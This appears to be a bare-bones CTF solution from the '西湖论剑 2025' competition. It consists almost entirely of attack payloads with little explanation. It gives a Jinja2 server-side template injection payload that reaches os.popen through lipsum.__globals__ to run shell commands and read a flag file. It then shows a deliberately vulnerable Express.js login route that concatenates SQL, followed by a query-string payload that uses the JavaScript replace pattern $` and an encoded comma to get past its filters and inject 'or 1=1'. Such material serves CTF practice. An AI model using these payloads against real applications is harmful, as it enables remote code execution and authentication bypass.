西湖论剑 2025

phone_number={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}

password=admin123&a=__globals__&b=os&c=nl /flagf149

var express = require('express');
var router = express.Router();
module.exports = router;

router.get('/',(req,res,next)=>{
    if(req.query.info){
        console.log(req.query);
        if(req.url.match(/\,/ig)){
            res.end('hacker1!');
        }
        console.log(req.query.info);
        var info = JSON.parse(req.query.info);
        console.log(info);
        console.log(info.username.match)
        if(info.username&&info.password){
            var username = info.username;
            var password = info.password;
            console.log(username);
            if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
                res.end('hacker2!');
            }
            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
            sql = sql.replace("{username}",username);
            sql = sql.replace("{password}",password);
            console.log(sql);
            res.send(sql);
            // connection.query(sql,function (err,rs) {
            // if (err) {
            //     res.end('error1');
            // }
            // else {
            //     if(rs.length>0){
            //     res.sendFile('/flag');
            //     }else {
            //     res.end('username or password error');
            //     }
            // }
            // })
        }
        else{
            res.end("please input the data");
        }
       
}
    else{
        res.end("please input the data");
    }
})
var app = express();
app.use('/', router);
app.listen(3000,'0.0.0.0',function(){
    console.log("Server started on port 3000");
})

if(req.url.match(/\,/ig)){
    res.end('hacker1!');
}

sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);

?info={"username":"$`%20or%201=1%23"%2c"password":"1"}